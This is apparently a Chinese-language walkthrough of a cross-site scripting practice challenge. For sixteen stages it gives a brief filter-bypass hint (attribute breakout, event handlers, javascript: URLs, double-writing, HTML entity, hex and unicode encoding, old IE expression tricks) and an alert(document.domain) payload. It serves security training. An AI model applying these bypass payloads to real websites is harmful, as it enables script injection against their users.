XSS Challenges

Stage #1

payload:

<script>alert(document.domain);</script>

Stage #2

payload:

"><script>alert(document.domain);</script>

Stage #3

burp抓包，在p2处输入payload

payload:

</option><script>alert(document.domain)</script>

Stage #4

burp抓包，p3处输入payload

payload:

“><svg onload=alert(document.domain)>

Stage #5

更改p1处的maxlength="15"

payload:

"><script>alert(document.domain);</script>

Stage #6

输入<>会被替换&lt; &gt;

payload:

"onmouseover="alert(document.domain);

Stage #7

输入空格过滤

payload:

qwe onmouseover=alert(document.domain);

Stage #8

用伪协议执行script

payload:

javascript:alert(document.domain)

Stage #9

utf-7编码(现在基本很少使用)用旧版IE，在前端输入绕过

payload:

"onmouseover="alert(document.domain)

Stage #10

双写绕过

payload:

"><script>alert(document.domdomainain);</script>

Stage #11

过滤js脚本字符和事件字符，考虑<a>标签名

payload:

"><a href="java&#115;cript:alert(document.domain);">1</a>

Stage #12

利用IE浏览器的 `` 过滤

payload:

``onmouseover=alert(document.domain);

Stage #13

用旧版IE特性触发xss

payload:

background-color:#ffff;background:url("javascript:alert(document.domain);");

Stage #14

用旧版IE特性触发xss

payload:

xss:ex/**/pression(if(!window.x){alert(document.domain);window.x=1})

Stage #15

用16进制编码或unicode编码绕过过滤

payload:

\x3cscript\x3ealert(document.domain);\x3c/script\x3e

Stage #16

用unicode编码绕过过滤

payload:

\u003cscript\u003ealert(document.domain);\u003c/script\u003e